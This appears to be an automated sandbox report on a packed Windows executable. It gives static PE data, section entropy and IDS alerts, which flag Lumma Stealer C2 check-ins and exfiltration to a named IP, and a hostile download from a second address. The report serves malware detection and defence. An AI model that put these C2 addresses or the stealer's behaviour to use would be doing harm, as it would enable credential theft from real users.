SSDEEP:	49152:QcdoBJMXWZI/euXGdU9Ezc4lQzU6OkWMTgAn2SxlCQHnCjq:QcOBJMXWcX6okRonDlCQHCj
TLSH:	A185335446592CC8DDC14334A8E3EE100A36B27F24BE0A56FDC6B7B91E339D8ED7A854
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...Q<?g............................. I...........@..........................PI.....m.....@.................................\...p..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x892000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x673F3C51 [Thu Nov 21 13:57:37 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F890903414Ah
paddd mm3, qword ptr [ebx]
add byte ptr [eax], al
add byte ptr [eax], al
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [esi], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+eax], ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
and dword ptr [eax], eax
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
push es
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], cl
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
pop es
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x5805c	0x70	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x57000	0x2b0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x581f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x56000	0x26200	7d705249d8d339876aa3bcba1348d5c5	False	0.9992827868852459	data	7.977701405787862	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x57000	0x2b0	0x200	a8c1ea23a397f58f74015c1280d20572	False	0.798828125	data	5.961508205907673	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x58000	0x1000	0x200	c92ced077364b300efd06b14c70a61dc	False	0.15625	data	1.1194718105633323	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x59000	0x29f000	0x200	0bf65e3804cf6d1b9dcfc6ce4c741952	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
jxtnelfl	0x2f8000	0x199000	0x198200	434a714251e1a91d9079429b79d52fc7	False	0.9944768137442572	data	7.953471717549014	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
rvplshpx	0x491000	0x1000	0x400	dc4f0e9abde9be71206090c4ce628d1b	False	0.8115234375	data	6.2804233552225766	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x492000	0x3000	0x2200	d0473c36490474b7dd5fa3b6e6ccfcb4	False	0.05710018382352941	DOS executable (COM)	0.7579744221250873	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x48fe0c	0x256	ASCII text, with CRLF line terminators			0.5100334448160535

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-25T18:28:09.681655+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49707	104.21.7.169	443	TCP
2024-11-25T18:28:10.409865+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.6	49707	104.21.7.169	443	TCP
2024-11-25T18:28:10.409865+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49707	104.21.7.169	443	TCP
2024-11-25T18:28:11.878413+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49709	104.21.7.169	443	TCP
2024-11-25T18:28:13.098768+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.6	49709	104.21.7.169	443	TCP
2024-11-25T18:28:13.098768+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49709	104.21.7.169	443	TCP
2024-11-25T18:28:14.594818+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49710	104.21.7.169	443	TCP
2024-11-25T18:28:17.006434+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49712	104.21.7.169	443	TCP
2024-11-25T18:28:19.799447+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49718	104.21.7.169	443	TCP
2024-11-25T18:28:22.417712+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49725	104.21.7.169	443	TCP
2024-11-25T18:28:23.209603+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.6	49725	104.21.7.169	443	TCP
2024-11-25T18:28:25.099767+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49733	104.21.7.169	443	TCP
2024-11-25T18:28:29.946179+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49746	104.21.7.169	443	TCP
2024-11-25T18:28:30.983780+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49746	104.21.7.169	443	TCP
2024-11-25T18:28:32.544349+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.6	49752	185.215.113.16	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 25, 2024 18:28:00.704699993 CET	443	49706	20.198.119.84	192.168.2.6
Nov 25, 2024 18:28:00.704720020 CET	443	49706	20.198.119.84	192.168.2.6
Nov 25, 2024 18:28:00.704730988 CET	443	49706	20.198.119.84	192.168.2.6
Nov 25, 2024 18:28:00.704744101 CET	443	49706	20.198.119.84	192.168.2.6
Nov 25, 2024 18:28:00.704754114 CET	443	49706	20.198.119.84	192.168.2.6
Nov 25, 2024 18:28:00.704818964 CET	49706	443	192.168.2.6	20.198.119.84
Nov 25, 2024 18:28:00.704880953 CET	49706	443	192.168.2.6	20.198.119.84
Nov 25, 2024 18:28:00.707479000 CET	49706	443	192.168.2.6	20.198.119.84
Nov 25, 2024 18:28:00.721195936 CET	443	49705	20.190.177.21	192.168.2.6
Nov 25, 2024 18:28:00.721252918 CET	443	49705	20.190.177.21	192.168.2.6
Nov 25, 2024 18:28:00.721263885 CET	443	49705	20.190.177.21	192.168.2.6
Nov 25, 2024 18:28:00.721360922 CET	443	49705	20.190.177.21	192.168.2.6
Nov 25, 2024 18:28:00.721371889 CET	443	49705	20.190.177.21	192.168.2.6
Nov 25, 2024 18:28:00.721405029 CET	49705	443	192.168.2.6	20.190.177.21
Nov 25, 2024 18:28:00.721472025 CET	49705	443	192.168.2.6	20.190.177.21
Nov 25, 2024 18:28:00.724318981 CET	443	49705	20.190.177.21	192.168.2.6
Nov 25, 2024 18:28:00.724369049 CET	49705	443	192.168.2.6	20.190.177.21
Nov 25, 2024 18:28:00.724420071 CET	443	49705	20.190.177.21	192.168.2.6
Nov 25, 2024 18:28:00.732692003 CET	443	49705	20.190.177.21	192.168.2.6
Nov 25, 2024 18:28:00.732772112 CET	49705	443	192.168.2.6	20.190.177.21
Nov 25, 2024 18:28:00.732781887 CET	443	49705	20.190.177.21	192.168.2.6
Nov 25, 2024 18:28:00.741538048 CET	443	49705	20.190.177.21	192.168.2.6
Nov 25, 2024 18:28:00.741600037 CET	49705	443	192.168.2.6	20.190.177.21
Nov 25, 2024 18:28:00.829199076 CET	443	49706	20.198.119.84	192.168.2.6
Nov 25, 2024 18:28:01.293334961 CET	443	49706	20.198.119.84	192.168.2.6
Nov 25, 2024 18:28:01.294562101 CET	49706	443	192.168.2.6	20.198.119.84
Nov 25, 2024 18:28:01.294610023 CET	49706	443	192.168.2.6	20.198.119.84
Nov 25, 2024 18:28:01.294697046 CET	49706	443	192.168.2.6	20.198.119.84
Nov 25, 2024 18:28:01.415162086 CET	443	49706	20.198.119.84	192.168.2.6
Nov 25, 2024 18:28:01.415179968 CET	443	49706	20.198.119.84	192.168.2.6
Nov 25, 2024 18:28:01.415461063 CET	443	49706	20.198.119.84	192.168.2.6
Nov 25, 2024 18:28:01.897592068 CET	443	49706	20.198.119.84	192.168.2.6
Nov 25, 2024 18:28:01.951356888 CET	49706	443	192.168.2.6	20.198.119.84
Nov 25, 2024 18:28:02.131711960 CET	443	49706	20.198.119.84	192.168.2.6
Nov 25, 2024 18:28:02.185652971 CET	49706	443	192.168.2.6	20.198.119.84
Nov 25, 2024 18:28:02.342119932 CET	443	49706	20.198.119.84	192.168.2.6
Nov 25, 2024 18:28:02.343499899 CET	49706	443	192.168.2.6	20.198.119.84
Nov 25, 2024 18:28:02.420095921 CET	49674	443	192.168.2.6	173.222.162.64
Nov 25, 2024 18:28:02.420109987 CET	49673	443	192.168.2.6	173.222.162.64
Nov 25, 2024 18:28:02.464523077 CET	443	49706	20.198.119.84	192.168.2.6
Nov 25, 2024 18:28:02.732583046 CET	49672	443	192.168.2.6	173.222.162.64
Nov 25, 2024 18:28:02.912132978 CET	443	49706	20.198.119.84	192.168.2.6
Nov 25, 2024 18:28:02.966917992 CET	49706	443	192.168.2.6	20.198.119.84
Nov 25, 2024 18:28:08.269588947 CET	49707	443	192.168.2.6	104.21.7.169
Nov 25, 2024 18:28:08.269637108 CET	443	49707	104.21.7.169	192.168.2.6
Nov 25, 2024 18:28:08.269782066 CET	49707	443	192.168.2.6	104.21.7.169
Nov 25, 2024 18:28:08.365777969 CET	49707	443	192.168.2.6	104.21.7.169
Nov 25, 2024 18:28:08.365807056 CET	443	49707	104.21.7.169	192.168.2.6
Nov 25, 2024 18:28:09.362504005 CET	49708	443	192.168.2.6	20.198.119.143
Nov 25, 2024 18:28:09.362552881 CET	443	49708	20.198.119.143	192.168.2.6
Nov 25, 2024 18:28:09.362672091 CET	49708	443	192.168.2.6	20.198.119.143
Nov 25, 2024 18:28:09.363346100 CET	49708	443	192.168.2.6	20.198.119.143
Nov 25, 2024 18:28:09.363359928 CET	443	49708	20.198.119.143	192.168.2.6
Nov 25, 2024 18:28:09.681551933 CET	443	49707	104.21.7.169	192.168.2.6
Nov 25, 2024 18:28:09.681654930 CET	49707	443	192.168.2.6	104.21.7.169
Nov 25, 2024 18:28:09.692529917 CET	49707	443	192.168.2.6	104.21.7.169
Nov 25, 2024 18:28:09.692548037 CET	443	49707	104.21.7.169	192.168.2.6
Nov 25, 2024 18:28:09.692970037 CET	443	49707	104.21.7.169	192.168.2.6
Nov 25, 2024 18:28:09.732537031 CET	49707	443	192.168.2.6	104.21.7.169
Nov 25, 2024 18:28:09.789081097 CET	49707	443	192.168.2.6	104.21.7.169
Nov 25, 2024 18:28:09.789120913 CET	49707	443	192.168.2.6	104.21.7.169
Nov 25, 2024 18:28:09.789223909 CET	443	49707	104.21.7.169	192.168.2.6
Nov 25, 2024 18:28:10.409879923 CET	443	49707	104.21.7.169	192.168.2.6
Nov 25, 2024 18:28:10.409970999 CET	443	49707	104.21.7.169	192.168.2.6
Nov 25, 2024 18:28:10.410079956 CET	49707	443	192.168.2.6	104.21.7.169
Nov 25, 2024 18:28:10.422579050 CET	49707	443	192.168.2.6	104.21.7.169
Nov 25, 2024 18:28:10.422597885 CET	443	49707	104.21.7.169	192.168.2.6
Nov 25, 2024 18:28:10.422621965 CET	49707	443	192.168.2.6	104.21.7.169
Nov 25, 2024 18:28:10.422629118 CET	443	49707	104.21.7.169	192.168.2.6
Nov 25, 2024 18:28:10.550147057 CET	49709	443	192.168.2.6	104.21.7.169
Nov 25, 2024 18:28:10.550188065 CET	443	49709	104.21.7.169	192.168.2.6
Nov 25, 2024 18:28:10.550259113 CET	49709	443	192.168.2.6	104.21.7.169
Nov 25, 2024 18:28:10.551417112 CET	49709	443	192.168.2.6	104.21.7.169
Nov 25, 2024 18:28:10.551434994 CET	443	49709	104.21.7.169	192.168.2.6
Nov 25, 2024 18:28:11.703413010 CET	443	49708	20.198.119.143	192.168.2.6
Nov 25, 2024 18:28:11.703543901 CET	49708	443	192.168.2.6	20.198.119.143
Nov 25, 2024 18:28:11.707673073 CET	49708	443	192.168.2.6	20.198.119.143
Nov 25, 2024 18:28:11.707688093 CET	443	49708	20.198.119.143	192.168.2.6
Nov 25, 2024 18:28:11.707959890 CET	443	49708	20.198.119.143	192.168.2.6
Nov 25, 2024 18:28:11.709577084 CET	49708	443	192.168.2.6	20.198.119.143
Nov 25, 2024 18:28:11.709651947 CET	49708	443	192.168.2.6	20.198.119.143
Nov 25, 2024 18:28:11.709657907 CET	443	49708	20.198.119.143	192.168.2.6
Nov 25, 2024 18:28:11.709857941 CET	49708	443	192.168.2.6	20.198.119.143
Nov 25, 2024 18:28:11.751332045 CET	443	49708	20.198.119.143	192.168.2.6
Nov 25, 2024 18:28:11.878240108 CET	443	49709	104.21.7.169	192.168.2.6
Nov 25, 2024 18:28:11.878412962 CET	49709	443	192.168.2.6	104.21.7.169
Nov 25, 2024 18:28:11.879679918 CET	49709	443	192.168.2.6	104.21.7.169
Nov 25, 2024 18:28:11.879692078 CET	443	49709	104.21.7.169	192.168.2.6
Nov 25, 2024 18:28:11.879960060 CET	443	49709	104.21.7.169	192.168.2.6
Nov 25, 2024 18:28:11.881222010 CET	49709	443	192.168.2.6	104.21.7.169
Nov 25, 2024 18:28:11.881268024 CET	49709	443	192.168.2.6	104.21.7.169
Nov 25, 2024 18:28:11.881295919 CET	443	49709	104.21.7.169	192.168.2.6
Nov 25, 2024 18:28:12.029445887 CET	49673	443	192.168.2.6	173.222.162.64
Nov 25, 2024 18:28:12.030046940 CET	49674	443	192.168.2.6	173.222.162.64
Nov 25, 2024 18:28:12.273319006 CET	443	49708	20.198.119.143	192.168.2.6
Nov 25, 2024 18:28:12.273396015 CET	443	49708	20.198.119.143	192.168.2.6
Nov 25, 2024 18:28:12.273474932 CET	49708	443	192.168.2.6	20.198.119.143
Nov 25, 2024 18:28:12.273627043 CET	49708	443	192.168.2.6	20.198.119.143
Nov 25, 2024 18:28:12.273649931 CET	443	49708	20.198.119.143	192.168.2.6
Nov 25, 2024 18:28:12.341959953 CET	49672	443	192.168.2.6	173.222.162.64
Nov 25, 2024 18:28:13.098776102 CET	443	49709	104.21.7.169	192.168.2.6
Nov 25, 2024 18:28:13.098859072 CET	443	49709	104.21.7.169	192.168.2.6
Nov 25, 2024 18:28:13.098941088 CET	49709	443	192.168.2.6	104.21.7.169
Nov 25, 2024 18:28:13.098958969 CET	443	49709	104.21.7.169	192.168.2.6
Nov 25, 2024 18:28:13.099381924 CET	443	49709	104.21.7.169	192.168.2.6
Nov 25, 2024 18:28:13.099426031 CET	49709	443	192.168.2.6	104.21.7.169
Nov 25, 2024 18:28:13.099435091 CET	443	49709	104.21.7.169	192.168.2.6
Nov 25, 2024 18:28:13.100199938 CET	443	49709	104.21.7.169	192.168.2.6
Nov 25, 2024 18:28:13.100240946 CET	49709	443	192.168.2.6	104.21.7.169
Nov 25, 2024 18:28:13.100248098 CET	443	49709	104.21.7.169	192.168.2.6
Nov 25, 2024 18:28:13.100552082 CET	443	49709	104.21.7.169	192.168.2.6
Nov 25, 2024 18:28:13.100578070 CET	443	49709	104.21.7.169	192.168.2.6
Nov 25, 2024 18:28:13.100595951 CET	49709	443	192.168.2.6	104.21.7.169
Nov 25, 2024 18:28:13.100603104 CET	443	49709	104.21.7.169	192.168.2.6
Nov 25, 2024 18:28:13.100642920 CET	49709	443	192.168.2.6	104.21.7.169
Nov 25, 2024 18:28:13.100649118 CET	443	49709	104.21.7.169	192.168.2.6
Nov 25, 2024 18:28:13.154469967 CET	49709	443	192.168.2.6	104.21.7.169
Nov 25, 2024 18:28:13.154481888 CET	443	49709	104.21.7.169	192.168.2.6
Nov 25, 2024 18:28:13.201328993 CET	49709	443	192.168.2.6	104.21.7.169
Nov 25, 2024 18:28:13.216300964 CET	443	49709	104.21.7.169	192.168.2.6
Nov 25, 2024 18:28:13.224663973 CET	443	49709	104.21.7.169	192.168.2.6
Nov 25, 2024 18:28:13.224701881 CET	443	49709	104.21.7.169	192.168.2.6
Nov 25, 2024 18:28:13.224741936 CET	49709	443	192.168.2.6	104.21.7.169
Nov 25, 2024 18:28:13.224769115 CET	443	49709	104.21.7.169	192.168.2.6
Nov 25, 2024 18:28:13.224813938 CET	443	49709	104.21.7.169	192.168.2.6
Nov 25, 2024 18:28:13.224828959 CET	49709	443	192.168.2.6	104.21.7.169
Nov 25, 2024 18:28:13.224858999 CET	49709	443	192.168.2.6	104.21.7.169
Nov 25, 2024 18:28:13.225012064 CET	49709	443	192.168.2.6	104.21.7.169
Nov 25, 2024 18:28:13.225023985 CET	443	49709	104.21.7.169	192.168.2.6
Nov 25, 2024 18:28:13.225035906 CET	49709	443	192.168.2.6	104.21.7.169
Nov 25, 2024 18:28:13.225040913 CET	443	49709	104.21.7.169	192.168.2.6
Nov 25, 2024 18:28:13.304631948 CET	49710	443	192.168.2.6	104.21.7.169
Nov 25, 2024 18:28:13.304677010 CET	443	49710	104.21.7.169	192.168.2.6
Nov 25, 2024 18:28:13.304826975 CET	49710	443	192.168.2.6	104.21.7.169
Nov 25, 2024 18:28:13.305121899 CET	49710	443	192.168.2.6	104.21.7.169
Nov 25, 2024 18:28:13.305135012 CET	443	49710	104.21.7.169	192.168.2.6
Nov 25, 2024 18:28:14.594630003 CET	443	49710	104.21.7.169	192.168.2.6
Nov 25, 2024 18:28:14.594818115 CET	49710	443	192.168.2.6	104.21.7.169
Nov 25, 2024 18:28:14.596259117 CET	49710	443	192.168.2.6	104.21.7.169
Nov 25, 2024 18:28:14.596267939 CET	443	49710	104.21.7.169	192.168.2.6
Nov 25, 2024 18:28:14.596501112 CET	443	49710	104.21.7.169	192.168.2.6
Nov 25, 2024 18:28:14.597882032 CET	49710	443	192.168.2.6	104.21.7.169
Nov 25, 2024 18:28:14.598022938 CET	49710	443	192.168.2.6	104.21.7.169
Nov 25, 2024 18:28:14.598054886 CET	443	49710	104.21.7.169	192.168.2.6
Nov 25, 2024 18:28:14.888791084 CET	443	49702	173.222.162.64	192.168.2.6
Nov 25, 2024 18:28:14.888933897 CET	49702	443	192.168.2.6	173.222.162.64
Nov 25, 2024 18:28:15.264555931 CET	49711	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:15.264597893 CET	443	49711	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:15.264699936 CET	49711	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:15.265024900 CET	49711	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:15.265043974 CET	443	49711	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:15.537719965 CET	443	49710	104.21.7.169	192.168.2.6
Nov 25, 2024 18:28:15.537847042 CET	443	49710	104.21.7.169	192.168.2.6
Nov 25, 2024 18:28:15.537908077 CET	49710	443	192.168.2.6	104.21.7.169
Nov 25, 2024 18:28:15.538064957 CET	49710	443	192.168.2.6	104.21.7.169
Nov 25, 2024 18:28:15.538083076 CET	443	49710	104.21.7.169	192.168.2.6
Nov 25, 2024 18:28:15.694261074 CET	49712	443	192.168.2.6	104.21.7.169
Nov 25, 2024 18:28:15.694304943 CET	443	49712	104.21.7.169	192.168.2.6
Nov 25, 2024 18:28:15.694379091 CET	49712	443	192.168.2.6	104.21.7.169
Nov 25, 2024 18:28:15.694906950 CET	49712	443	192.168.2.6	104.21.7.169
Nov 25, 2024 18:28:15.694924116 CET	443	49712	104.21.7.169	192.168.2.6
Nov 25, 2024 18:28:17.006289959 CET	443	49712	104.21.7.169	192.168.2.6
Nov 25, 2024 18:28:17.006433964 CET	49712	443	192.168.2.6	104.21.7.169
Nov 25, 2024 18:28:17.008064985 CET	49712	443	192.168.2.6	104.21.7.169
Nov 25, 2024 18:28:17.008079052 CET	443	49712	104.21.7.169	192.168.2.6
Nov 25, 2024 18:28:17.008332968 CET	443	49712	104.21.7.169	192.168.2.6
Nov 25, 2024 18:28:17.009831905 CET	49712	443	192.168.2.6	104.21.7.169
Nov 25, 2024 18:28:17.009831905 CET	49712	443	192.168.2.6	104.21.7.169
Nov 25, 2024 18:28:17.009871960 CET	443	49712	104.21.7.169	192.168.2.6
Nov 25, 2024 18:28:17.009929895 CET	49712	443	192.168.2.6	104.21.7.169
Nov 25, 2024 18:28:17.051330090 CET	443	49712	104.21.7.169	192.168.2.6
Nov 25, 2024 18:28:17.082968950 CET	443	49711	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:17.083134890 CET	49711	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:17.084758043 CET	49711	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:17.084773064 CET	443	49711	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:17.085016012 CET	443	49711	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:17.093689919 CET	49711	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:17.135328054 CET	443	49711	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:17.582720041 CET	443	49711	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:17.582743883 CET	443	49711	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:17.582760096 CET	443	49711	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:17.582869053 CET	49711	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:17.582890987 CET	443	49711	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:17.582966089 CET	49711	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:17.766871929 CET	443	49711	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:17.766891003 CET	443	49711	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:17.766987085 CET	49711	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:17.767009974 CET	443	49711	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:17.767075062 CET	49711	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:17.851784945 CET	443	49711	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:17.851804018 CET	443	49711	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:17.851866961 CET	49711	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:17.851883888 CET	443	49711	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:17.851933002 CET	49711	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:17.953149080 CET	443	49711	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:17.953170061 CET	443	49711	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:17.953283072 CET	49711	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:17.953298092 CET	443	49711	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:17.953361988 CET	49711	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:17.988960028 CET	443	49711	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:17.988980055 CET	443	49711	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:17.989057064 CET	49711	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:17.989068031 CET	443	49711	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:17.989110947 CET	49711	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:18.007473946 CET	443	49711	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:18.007489920 CET	443	49711	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:18.007572889 CET	49711	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:18.007585049 CET	443	49711	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:18.007628918 CET	49711	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:18.028703928 CET	443	49711	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:18.028721094 CET	443	49711	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:18.028803110 CET	49711	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:18.028811932 CET	443	49711	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:18.028855085 CET	49711	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:18.146357059 CET	443	49711	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:18.146377087 CET	443	49711	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:18.146446943 CET	49711	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:18.146469116 CET	443	49711	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:18.146524906 CET	49711	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:18.163003922 CET	443	49711	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:18.163022995 CET	443	49711	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:18.163094044 CET	49711	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:18.163105965 CET	443	49711	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:18.163173914 CET	49711	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:18.176291943 CET	443	49711	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:18.176307917 CET	443	49711	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:18.176383972 CET	49711	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:18.176394939 CET	443	49711	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:18.176419973 CET	49711	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:18.176440001 CET	49711	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:18.193423986 CET	443	49711	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:18.193440914 CET	443	49711	13.107.246.63	192.168.2.6
